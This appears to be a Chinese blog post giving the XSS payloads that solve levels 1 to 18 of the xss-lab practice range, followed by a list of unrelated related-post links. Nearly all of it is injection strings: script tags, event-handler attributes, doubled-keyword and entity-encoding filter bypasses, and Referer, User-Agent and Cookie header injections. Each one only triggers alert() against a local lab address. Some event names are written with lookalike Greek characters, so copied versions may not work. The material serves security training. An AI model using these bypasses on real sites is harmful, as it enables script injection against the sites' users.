xss-lab 1-18关payload

Less-1

?name=<script>alert()</script>

Less-2

"><script>alert()</script>

"οnclick="alert()

" οnfοcus="alert()

" οnblur="alert()

Less-3

' οnfοcus='alert()

' οnblur='alert()

' οnfοcus='javascript:alert()'

' οnblur='javascript:alert()

' οnclick='alert()

Less-4

" οnfοcus="alert()

" οnfοcus="javascript:alert()

" οnblur="alert()

" οnblur="javascript:alert()

" οnclick="alert()

" οnclick="javascript:alert()

Less-5

"><a href="javascript:alert();">cooper</a>

Less-6

" Onclick="alert()

" Onfocus="alert()

" Onblur = "alert()

"><a Href="javascript:alert()">cooper</a>

"><Script>alert()</Script>

Less-7

" oonnfocus="alert()

"oonnclick="alert()

" oonnfocus="alert()

"><a hhrefref="javasscriptcript:alert()">cooper</a>

"><sscriptcript>alert()</sscriptcript>

"><img ssrcrc=666 oonnerror=alert()>

"><img srsrcc=666 oonnmouseout=alert()>

"><img srsrcc=666 oonnmouseover=alert()>

Less-8

javascript:alert() (使用Unicode编码)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

Less-9

javascript:alert() 编码后加http://,注释使用//或/**/

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

Less-10

?t_sort=" οnfοcus=javascript:alert(); type="text type(加窗口)

?t_sort=" οnclick=javascript:alert(); type="

?t_sort=" οnblur=javascript:alert(); type="

?keyword=well done!&t_lick=aa&t_history=aa&t_sort=aa 查看哪里可以赋值

?keyword=well done!&t_lick=aa&t_history=aa&t_sort='" type='text' οnclick='alert(123)'

?keyword=well done!&t_lick=aa&t_history=aa&t_sort='" type='text' οnblur='javascript:alert()'

?keyword=well done!&t_lick=aa&t_history=aa&t_sort='" type='text' οnfοcus='alert(123)'

Less-11

使用burpsuite抓包

在Referer处改为Less-10的payload,放行即可

Referer:" οnfοcus=javascript:alert(); type="text

Less-12

使用burpsuite抓包

在UA处改为Less-10的payload,放行即可

User-Agent: " οnfοcus=javascript:alert(); type="text

Less-13

使用burpsuite抓包

在cookie处改为Less-10的payload,放行即可

Cookie: user=" οnfοcus=javascript:alert() type="text

Less-14

网页失效,上传图片属性中含有js代码,详见博客

Less-15

http://192.168.31.110/xss/level15.php?src=' http://192.168.31.110/xss/level1.php?name="><a href="javascript:alert( )">cooper</a>'

Less-16

http://192.168.31.110/xss/level16.php?keyword=<a href='javasc ript:alert()'>cooper

Less-17

http://192.168.31.110/xss/level17.php?arg01=a\&arg02=b οnmοuseοver=javascript:alert()

http://192.168.31.110/xss/level17.php?arg01=a\&arg02=b οnmοuseοut=javascript:alert()

(在edge上打开,火狐没有弹窗)

Less-18

http://192.168.31.110/xss/level18.php?arg01=a\&arg02=b οnmοuseοver=alert()

http://192.168.31.110/xss/level18.php?arg01=a\&arg02=b οnmοuseοut=alert()

http://192.168.31.110/xss/level18.php?arg01=a\&arg02=b οnmοuseleave=alert()

http://192.168.31.110/xss/level18.php?arg01=a\&arg02=b οnmοuseenter=alert()

http://192.168.31.110/xss/level18.php?arg01=a\&arg02=b οnmοusedοwn=alert() (点击触发)

onmouseover、onmouseout:鼠标移动到自身时候会触发事件,同时移动到其子元素身上也会触发事件

onmouseenter、onmouseleave:鼠标移动到自身是会触发事件,但是移动到其子元素身上不会触发事件

相关推荐
晴空万里藏片云1 小时前
elment Table多级表头固定列后,合计行错位显示问题解决
前端·javascript·vue.js
曦月合一1 小时前
html中iframe标签 隐藏滚动条
前端·html·iframe
奶球不是球1 小时前
el-button按钮的loading状态设置
前端·javascript
kidding7231 小时前
前端VUE3的面试题
前端·typescript·compositionapi·fragment·teleport·suspense
无责任此方_修行中3 小时前
每周见闻分享:杂谈AI取代程序员
javascript·资讯
Σίσυφος19003 小时前
halcon 条形码、二维码识别、opencv识别
前端·数据库
学代码的小前端3 小时前
0基础学前端-----CSS DAY13
前端·css
dorabighead4 小时前
JavaScript 高级程序设计 读书笔记(第三章)
开发语言·javascript·ecmascript
css趣多多4 小时前
案例自定义tabBar
前端
姑苏洛言6 小时前
DeepSeek写微信转盘小程序需求文档,这不比产品经理强?
前端